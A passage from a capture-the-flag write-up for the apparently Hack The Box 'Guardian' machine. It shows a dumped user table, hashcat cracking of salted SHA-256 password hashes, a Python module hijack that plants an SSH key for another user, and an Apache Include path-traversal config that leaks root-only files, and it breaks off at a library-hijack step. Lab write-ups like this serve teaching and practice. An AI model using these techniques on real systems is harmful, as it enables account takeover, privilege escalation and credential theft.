|      18 | GU9612024          | cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57 | Shawnee Bazire       | [email protected]          | 2002-05-27 | 4364 Guadalupe Court, Pensacola, Florida, United States, 32520                | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      19 | GU7382024          | 7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a | Jobey Dearle-Palser  | [email protected]          | 1998-04-14 | 4620 De Hoyos Place, Tampa, Florida, United States, 33625                     | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      20 | GU6632023          | 98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714 | Erika Sandilands     | [email protected]          | 1994-06-08 | 1838 Herlong Court, San Bernardino, California, United States, 92410          | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      21 | GU1922024          | bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd | Alisander Turpie     | [email protected]          | 1998-08-07 | 813 Brody Court, Bakersfield, California, United States, 93305                | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      22 | GU8032023          | 41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada | Wandie McRobbie      | [email protected]          | 2002-01-16 | 5732 Eastfield Path, Peoria, Illinois, United States, 61629                   | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      23 | GU5852023          | e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a | Erinn Franklyn       | [email protected]          | 2003-05-01 | 50 Lindsey Lane Court, Fairbanks, Alaska, United States, 99790                | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      24 | GU0712023          | e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a | Niel Slewcock        | [email protected]          | 1996-05-04 | 3784 East Schwartz Boulevard, Gainesville, Florida, United States, 32610      | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      25 | GU1592025          | 1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71 | Chryste Lamputt      | [email protected]          | 1993-05-22 | 6620 Anhinga Lane, Baton Rouge, Louisiana, United States, 70820               | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      26 | GU1112023          | 168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d | Kiersten Rampley     | [email protected]          | 1997-06-28 | 9990 Brookdale Court, New York City, New York, United States, 10292           | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      27 | GU6432025          | a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6 | Gradeigh Espada      | [email protected]          | 1999-06-06 | 5464 Lape Lane, Boise, Idaho, United States, 83757                            | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      28 | GU3042024          | d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab | Susanne Myhill       | [email protected]          | 2003-04-12 | 11585 Homan Loop, Aiken, South Carolina, United States, 29805                 | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      29 | GU1482025          | be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f | Prudi Sweatman       | [email protected]          | 1998-05-10 | 1533 Woodmill Terrace, Palo Alto, California, United States, 94302            | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      30 | GU3102024          | 3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706 | Kacey Qualtrough     | [email protected]          | 1996-03-09 | 14579 Ayala Way, Spokane, Washington, United States, 99252                    | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      31 | GU7232023          | 4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6 | Thedrick Grimstead   | [email protected]          | 1998-05-20 | 13789 Castlegate Court, Salt Lake City, Utah, United States, 84130            | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      32 | GU8912024          | 6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51 | Dominik Clipsham     | [email protected]          | 1999-06-30 | 7955 Lock Street, Kansas City, Missouri, United States, 64160                 | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      33 | GU4752025          | 4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a | Iain Vinson          | [email protected]          | 1990-10-13 | 10384 Zeeland Terrace, Cleveland, Ohio, United States, 44105                  | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      34 | GU9602024          | 6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2 | Ax Sweating          | [email protected]          | 1994-06-22 | 4518 Vision Court, Sarasota, Florida, United States, 34233                    | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      35 | GU4382025          | 8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8 | Trixi Piolli         | [email protected]          | 2001-02-02 | 11634 Reid Road, Charleston, South Carolina, United States, 29424             | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      36 | GU7352023          | 8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005 | Ronni Fulton         | [email protected]          | 1998-11-07 | 4690 Currituck Terrace, Vero Beach, Florida, United States, 32964             | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      37 | GU3042025          | 1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f | William Lidstone     | [email protected]          | 1998-03-18 | 11566 Summerchase Loop, Providence, Rhode Island, United States, 02905        | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      38 | GU3872024          | 12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a | Viola Bridywater     | [email protected]          | 2003-07-21 | 9436 Erica Chambers Avenue, Bronx, New York, United States, 10454             | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      39 | GU7462025          | 5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa | Glennie Crilly       | [email protected]          | 1995-01-26 | 3423 Carla Fink Court, Washington, District of Columbia, United States, 20580 | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      40 | GU3902023          | 6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b | Ninnette Lenchenko   | [email protected]          | 1994-11-06 | 12277 Richey Road, Austin, Texas, United States, 78754                        | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      41 | GU1832025          | 6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f | Rivalee Coche        | [email protected]          | 1990-10-23 | 2999 Indigo Avenue, Washington, District of Columbia, United States, 20022    | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      42 | GU3052024          | 1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f | Lodovico Atlay       | [email protected]          | 1992-04-16 | 5803 Clarendon Court, Little Rock, Arkansas, United States, 72231             | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      43 | GU3612023          | 7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a | Maris Whyborne       | [email protected]          | 1999-08-07 | 435 Quaint Court, Staten Island, New York, United States, 10305               | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      44 | GU7022023          | 7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8 | Diahann Forber       | [email protected]          | 1998-12-17 | 10094 Ely Circle, New Haven, Connecticut, United States, 06533                | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      45 | GU1712025          | ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225 | Sinclair Tierney     | [email protected]          | 1999-11-04 | 2885 Columbia Way, Seattle, Washington, United States, 98127                  | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      46 | GU9362023          | 8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592 | Leela Headon         | [email protected]          | 1992-10-24 | 14477 Donelin Circle, El Paso, Texas, United States, 88589                    | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      47 | GU5092024          | 11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380 | Egon Jaques          | [email protected]          | 1995-04-19 | 12886 Chimborazo Way, Fort Lauderdale, Florida, United States, 33315          | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      48 | GU5252023          | 70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa | Meade Newborn        | [email protected]          | 2003-09-02 | 3679 Inman Mills Road, Orlando, Florida, United States, 32859                 | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      49 | GU8802025          | 7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76 | Tadeo Sproson        | [email protected]          | 2002-08-01 | 4293 Tim Terrace, Springfield, Illinois, United States, 62776                 | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      50 | GU2222023          | d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd | Delia Theriot        | [email protected]          | 2001-07-15 | 5847 Beechwood Avenue, Chattanooga, Tennessee, United States, 37450           | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      51 | GU9802023          | a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c | Ransell Dourin       | [email protected]          | 1995-01-04 | 1809 Weaton Court, Chattanooga, Tennessee, United States, 37410               | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      52 | GU3122025          | e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a | Franklyn Kuhndel     | [email protected]          | 1991-06-05 | 11809 Mccook Street, Shawnee Mission, Kansas, United States, 66210            | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      53 | GU2062025          | 0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8 | Petronille Scroggins | [email protected]          | 2001-06-16 | 11794 Byron Place, Des Moines, Iowa, United States, 50981                     | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      54 | GU3992025          | b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0 | Kittie Maplesden     | [email protected]          | 2001-10-04 | 6212 Matisse Avenue, Palatine, Illinois, United States, 60078                 | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      55 | GU1662024          | 5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5 | Gherardo Godon       | [email protected]          | 2002-04-17 | 9997 De Hoyos Place, Simi Valley, California, United States, 93094            | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      56 | GU9972025          | 339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599 | Kippar Surpliss      | [email protected]          | 1990-08-10 | 5372 Gentle Terrace, San Francisco, California, United States, 94110          | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      57 | GU6822025          | 298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482 | Sigvard Reubens      | [email protected]          | 2003-04-23 | 5711 Magana Place, Memphis, Tennessee, United States, 38104                   | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      58 | GU7912023          | 8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021 | Carly Buckler        | [email protected]          | 1991-09-07 | 2298 Hood Place, Springfield, Massachusetts, United States, 01105             | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      59 | GU3622024          | 1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf | Maryjo Gration       | [email protected]          | 1997-04-25 | 1998 Junction Place, Irvine, California, United States, 92619                 | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      60 | GU2002023          | 3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2 | Paulina Mainwaring   | [email protected]          | 1993-05-04 | 11891 Markridge Loop, Olympia, Washington, United States, 98506               | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      61 | GU3052023          | 2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8 | Curran Foynes        | [email protected]          | 2000-12-04 | 7021 Cordelia Place, Paterson, New Jersey, United States, 07505               | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
|      62 | GU1462023          | 585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202 | Cissy Styan          | [email protected]          | 1991-01-10 | 1138 Salinas Avenue, Orlando, Florida, United States, 32854                   | student   | active | 2025-09-01 04:30:05 | 2025-09-01 04:30:05 |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
62 rows in set (0.00 sec)

Hashes match the SHA-256 + static salt scheme we saw earlier (hash('sha256', $password . $salt)). With salt already leaked (8Sb)tM1vs1SS), cracking offline is trivial.

Hashes Cracking

The portal hashes follow the scheme:

password_hash = sha256( password + '8Sb)tM1vs1SS' )

So for Hashcat that's mode 1410 (sha256($pass.$salt)).

Pull them out with usernames and salt:

Bash
mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' -D guardiandb -N \
      -e "SELECT CONCAT(username,':',password_hash,':','8Sb)tM1vs1SS') FROM users;" \
      > hashes_users_salt.txt
htb_guardian_29

Focus on higher-value accounts, filter out noise (username), and prep a clean list as chosen_hashes. Run against rockyou.txt:

Bash
hashcat -m 1410 -a 0 chosen_hashes.txt path/to/rockyou.txt -O -w 3

Result:

c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1410 (sha256($pass.$salt))

User jamil.enockson fell to a weak password — copperhouse56.

Now pivot to the system via SSH with the found credentials:

htb_guardian_30

User flag captured.

ROOT

Enum

Local enumeration paints a clear map of targets and privilege paths.

Home Directories:

l@guardian:~$ ls /home
gitea  jamil  mark  samm

While samm is the "lecturer" bot and gitea the the repo initiator, we attempt to target mark as the next move.

LinPEAS

Run LinPEAS to collect internal information:

                ╔════════════════════════════════════════════════╗
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
                ╚════════════════════════════════════════════════╝
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
...
root        1377  0.0  0.9 259884 38192 ?        Ss   Aug31   0:01 /usr/sbin/apache2 -k start
www-data    6119  0.0  0.2  76044 11520 ?        S    00:00   0:00  _ /usr/sbin/apache2 -k start
www-data    6120  0.0  0.4 260844 19668 ?        S    00:00   0:00  _ /usr/sbin/apache2 -k start
www-data    6122  0.0  0.4 260844 19668 ?        S    00:00   0:00  _ /usr/sbin/apache2 -k start
www-data    6123  0.0  0.4 260984 19608 ?        S    00:00   0:00  _ /usr/sbin/apache2 -k start
www-data    6124  0.0  0.4 260844 19640 ?        S    00:00   0:00  _ /usr/sbin/apache2 -k start
www-data    8468  0.0  0.4 260976 19596 ?        S    01:36   0:00  _ /usr/sbin/apache2 -k start
www-data    8469  0.0  0.4 260940 19596 ?        S    01:36   0:00  _ /usr/sbin/apache2 -k start
www-data    8470  0.0  0.4 260844 19488 ?        S    01:36   0:00  _ /usr/sbin/apache2 -k start
www-data    8474  0.0  0.4 260976 19640 ?        S    01:36   0:00  _ /usr/sbin/apache2 -k start
www-data   12560  0.0  0.4 260996 19232 ?        S    03:29   0:00  _ /usr/sbin/apache2 -k start
www-data   12561  0.0  0.4 260856 19312 ?        S    03:29   0:00  _ /usr/sbin/apache2 -k start
root        8589  0.0  0.2 239660  8792 ?        Ssl  01:37   0:00 /usr/libexec/upowerd
jamil      15343  0.0  0.2  17112  9396 ?        Ss   05:15   0:00 /lib/systemd/systemd --user
jamil      15344  0.0  0.0 169804  3936 ?        S    05:15   0:00  _ (sd-pam)

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

╔══════════╣ Users with console
gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
root:x:0:0:root:/root:/bin/bash
sammy:x:1002:1003::/home/sammy:/bin/bash

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
  Group admins:
/opt/scripts/utilities/output
/opt/scripts/utilities/utils/status.py

Sudo

Check sudo -l:

jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jamil may run the following commands on guardian:
    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

Key finding: user jamil can run /opt/scripts/utilities/utilities.py as mark without a password.

That means the escalation path into mark is immediate—the next pivot in the privilege chain.

Python Module Hijacking

Mechanism

During group enumeration we noted that jamil sits in the admins group, which has write rights over:

/opt/scripts/utilities/output
/opt/scripts/utilities/utils/status.py

The file tree confirms ownership:

jamil@guardian:~$ ll -aR /opt/scripts/utilities/
/opt/scripts/utilities/:
total 20
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ./
drwxr-xr-x 3 root root   4096 Jul 12 15:10 ../
drwxrws--- 2 mark admins 4096 Jul 10 13:53 output/
-rwxr-x--- 1 root admins 1136 Apr 20 14:45 utilities.py*
drwxrwsr-x 2 root root   4096 Jul 10 14:20 utils/

/opt/scripts/utilities/output:
total 8
drwxrws--- 2 mark admins 4096 Jul 10 13:53 ./
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ../

/opt/scripts/utilities/utils:
total 24
drwxrwsr-x 2 root root   4096 Jul 10 14:20 ./
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ../
-rw-r----- 1 root admins  287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins  246 Jul 10 14:20 db.py
-rw-r----- 1 root admins  226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins  253 Apr 26 09:45 status.py*

status.py is a benign utility:

Python
import platform
import psutil
import os

def system_status():
    print("System:", platform.system(), platform.release())
    print("CPU usage:", psutil.cpu_percent(), "%")
    print("Memory usage:", psutil.virtual_memory().percent, "%")

Meanwhile, utilities.py—our sudo target as mark—loads it unconditionally:

Python
#!/usr/bin/env python3

import argparse
import getpass
import sys

from utils import db
from utils import attachments
from utils import logs
from utils import status


def main():
    parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
    parser.add_argument("action", choices=[
        "backup-db",
        "zip-attachments",
        "collect-logs",
        "system-status"
    ], help="Action to perform")

    args = parser.parse_args()
    user = getpass.getuser()

    if args.action == "backup-db":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        db.backup_database()
    elif args.action == "zip-attachments":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        attachments.zip_attachments()
    elif args.action == "collect-logs":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        logs.collect_logs()
    elif args.action == "system-status":
        status.system_status()
    else:
        print("Unknown action.")

if __name__ == "__main__":
    main()

This is a simple dispatcher. We can run it with action system-status to trigger the target import:

jamil@guardian:/opt/scripts/utilities$ python3 utilities.py system-status
System: Linux 5.15.0-152-generic
CPU usage: 100.0 %
Memory usage: 34.2 %

That means: any code inside status.py executes before action checks fire. So when sudo -u mark invokes utilities.py, we hijack execution context as mark.

Exploit

Therefore, we can hijack the system_status() function inside status.py for arbitrary code execution as Mark.

For stealthy, forge SSH keypair for persistence:

Bash
ssh-keygen -t ed25519 -f ~/mark_key -C "axura@guardian" -N ""

Result:

jamil@guardian:~$ ls ~
linpeas.sh  mark_key  mark_key.pub  pspy64  status.py.bak  user.txt

jamil@guardian:~$ chmod 600 ~/mark_key

jamil@guardian:~$ cat ~/mark_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDgbaaSUaDNspenzeAEgcgR9793oa4wSfiLpP9ntM1QT axura@guardian

Next, overwrite the writable status.py module with a payload that drops our pubkey into /home/mark/.ssh/authorized_keys:

Bash
cat > /opt/scripts/utilities/utils/status.py <<'PY'
import os, shutil, pwd

def system_status():
    # hijack
    import os
    p="/home/mark/.ssh"; ak=p+"/authorized_keys"
    os.makedirs(p, exist_ok=True)
    # replace public key here
    key="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDgbaaSUaDNspenzeAEgcgR9793oa4wSfiLpP9ntM1QT axura@guardian\n"
    with open(ak,"a") as f: f.write(key)
    os.chmod(p,0o700); os.chmod(ak,0o600)
PY

After overwriting the original one, we run the toolkit as mark via sudo to immediately trigger import-time payload:

Bash
sudo -u mark /opt/scripts/utilities/utilities.py system-status

Now we can login as mark with the private key:

Bash
ssh -i ~/mark_key mark@localhost
htb_guardian_31

We hijacked the import path to escalate into the mark account.

Apache2ctl

Enumerating mark's privileges:

mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

mark@guardian:~$ file /usr/local/bin/safeapache2ctl
/usr/local/bin/safeapache2ctl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0690ef286458863745e17e8a81cc550ced004b12, for GNU/Linux 3.2.0, not stripped

mark@guardian:~$ sudo safeapache2ctl -h
Usage: safeapache2ctl -f /home/mark/confs/file.conf

mark can execute safeapache2ctl as root. It accepts a single argument in the shape:

Bash
safeapache2ctl -f /home/mark/confs/file.conf

Beside, it's an not-stripped binary—easy to reverse.

Reversing

Exfiltrate the binary, crack it open. It's a thin wrapper atop apache2ctl.

main

Inline commentary tells the tale:

C
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+18h] [rbp-1418h]
  char s[1024]; // [rsp+20h] [rbp-1410h] BYREF
  char resolved[16]; // [rsp+420h] [rbp-1010h] BYREF
  unsigned __int64 v7; // [rsp+1428h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  // Requires exactly: safeapache2ctl -f <path>
  if ( argc == 3 && !strcmp(argv[1], "-f") )
  {
    // [!] Canonicalizes the top-level config path (eliminates symlinks/..)
    if ( realpath(argv[2], resolved) )
    {
      // Ensures resolved starts with "/home/mark/confs/"
      if ( (unsigned int)starts_with(resolved, "/home/mark/confs/") )
      {
        stream = fopen(resolved, "r");
        if ( stream )
        {
          // Opens that file and scans it line by line
          while ( fgets(s, 1024, stream) )
          {
            // [!] Check path
            if ( (unsigned int)is_unsafe_line(s) )
            {
              fwrite("Blocked: Config includes unsafe directive.\n", 1u, 0x2Bu, stderr);
              fclose(stream);
              return 1;
            }
          }
          fclose(stream);
          execl("/usr/sbin/apache2ctl", "apache2ctl", "-f", resolved, 0);
          perror("execl failed");
          return 1;
        }
        else
        {
          perror("fopen");
          return 1;
        }
      }
      else
      {
        fprintf(stderr, "Access denied: config must be inside %s\n", "/home/mark/confs/");
        return 1;
      }
    }
    else
    {
      perror("realpath");
      return 1;
    }
  }
  else
  {
    fprintf(stderr, "Usage: %s -f /home/mark/confs/file.conf\n", *argv);
    return 1;
  }
}

A single choke-point: it realpath()-hardens only the top-level config path, then—if every line “looks safe”—executes:

C
execl("/usr/sbin/apache2ctl", "apache2ctl", "-f", resolved, 0);

No symlink or .. trickery survives at this level. So a path like:

/home/mark/confs/../../../root/root.txt

dies on entry.

But it's only applied to the top-level config path (the argument passed after -f). The weak link is the line validator—the file content will be parsed via is_unsafe_line, which exposes vulnerability.

is_unsafe_line

The gatekeeper is_unsafe_line tries to block dangerous Apache directives, but its logic is (a) too narrow and (b) non-canonical:

C
__int64 __fastcall is_unsafe_line(__int64 a1)
{
  char s1[32]; // directive
  char v3[16]; // target path 
  unsigned __int64 v4; // [rsp+1038h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  // if not 2 tokens, returns safe
  if ( (unsigned int)__isoc99_sscanf(a1, "%31s %1023s", s1, v3) != 2 )
    return 0;
    
  // block only if ALL of the following are true:
  // 1) directive is Include / IncludeOptional / LoadModule
  // 2) arg is an absolute path (starts with '/')
  // 3) arg does NOT start with "/home/mark/confs/"
  if ( strcmp(s1, "Include") && strcmp(s1, "IncludeOptional") && strcmp(s1, "LoadModule")
    || v3[0] != '/'	// absolute path
    || (unsigned int)starts_with(v3, "/home/mark/confs/") )
      {
        return 0;	// everything else considered safe
      }
  fprintf(stderr, "[!] Blocked: %s is outside of %s\n", v3, "/home/mark/confs/");
  return 1;	// UNSAFE -> block
}
  • Only three directives are policed. Everything else (ErrorLog, CustomLog, PidFile, Listen, <VirtualHost>, …) is never inspected.
  • For those three, the path is checked by string prefix only. There is no realpath() on the argument; .. traversal is not normalized here.

Critically, realpath() guards only the top-level -f file; any Include target is validated by brittle string prefix alone. That invites a traversal bypass:

Apache
Include /home/mark/confs/../../../root/root.txt

The prefix matches; no canonicalization occurs; the include escapes the cage. Next step: dissect how apache2ctl consumes these directives and turn that crack into root.

Exploit

Apache2ctl 101

Execution flow on this host:

safeapache2ctl (SUID root helper)
execl("/usr/sbin/apache2ctl", "apache2ctl", "-f", resolved, NULL)
/usr/sbin/apache2ctl (shell script wrapper)
               ↳ exec /usr/sbin/apache2 -f <resolved>

apachectl/apache2ctl isn't the HTTP server itself; it's a convenience wrapper over apache2/httpd for lifecycle ops (start/stop/test). On this box:

mark@guardian:~$ file /usr/sbin/apache2ctl
/usr/sbin/apache2ctl: POSIX shell script, ASCII text executable

mark@guardian:~$ cat /usr/sbin/apache2ctl
#!/bin/sh
# Apache control script ... heavily modified for Debian
...

Usage confirms the contract:

mark@guardian:~$ /usr/sbin/apache2ctl -h
Usage: /usr/sbin/apache2 [-D name] [-d directory] [-f file]
                         [-C "directive"] [-c "directive"]
                         [-k start|restart|graceful|graceful-stop|stop]
                         [-v] [-V] [-h] [-l] [-L] [-t] [-T] [-S] [-X]
Options:
  -D name            : define a name for use in <IfDefine name> directives
  -d directory       : specify an alternate initial ServerRoot
  -f file            : specify an alternate ServerConfigFile
  ...

Crucial detail: invoking

Bash
apache2ctl -f /home/mark/confs/file.conf

Apache is directive-driven; configs are executable instructions, not passive data:

Apache
Listen 80
ServerRoot "/etc/apache2"
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
Include sites-enabled/*.conf
ErrorLog /var/log/apache2/error.log

On start or reload, Apache walks every directive—binding sockets, loading modules, setting policy. In our context, a single crafted config becomes the fulcrum for code loading, includes, and path traversal—our lever for the final privilege play.

Exp.1 Path Traversing

With full control over Apache's runtime config, we can weaponize the wrapper's blind spots.

We reversed the binary. The checks are:

  • realpath() is applied only to the top-level -f file, enforcing /home/mark/confs/ as the root.
  • Line scanner blocks just three directives when their second token is an absolute path outside/home/mark/confs/:
    • Include
    • IncludeOptional
    • LoadModule
  • Those same directives are allowed if the argument starts with /home/mark/confs/.

Include instructs Apache to parse another file as if it were inlined—config composition on demand.

Theoretically, Include an absolute /root path fails:

htb_guardian_33

However, included paths are not canonicalized. So a traversal like:

/home/mark/confs/../../../root/root.txt

slips past the prefix check yet resolves to /root/root.txt at parse time.

Therefore, Craft a minimal config within the allowed directory:

Bash
cat > /home/mark/confs/pwn.conf <<'EOF'
ServerRoot "/etc/apache2"
PidFile    "/var/run/apache2/apache2.pid"
Listen 31337

# Load a core MPM so apache is happy to start parsing
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so

# [!] Prefix-validated Include with traversal payload
Include /home/mark/confs/../../../root/root.txt
EOF

Execute via the privileged helper:

Bash
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/pwn.conf

What happens then:

  • Apache resolves the path to /root/root.txt.
  • It reads it as if it's Apache configuration.
  • The flag is not a valid directive; Apache echoes it in the error output—exfiltration by parser reflection.
htb_guardian_32

Root flag leaked.

Swap the target to spill sensitive records as well (e.g., root's hash):

root:$y$j9T$.LTtSh52Jq1CcDWVjaIKJ/$vwOpOiforFInjhHVs99EhL8xpt.ITlODZVE/WoZaKT5:20308:0:99999:7:::

Exp 2. Shared Library Hijacking

As we mentioned, the custom wrapper safeapache2ctl had a very narrow guard, which ignores others exploitable ones, such as LoadFile.

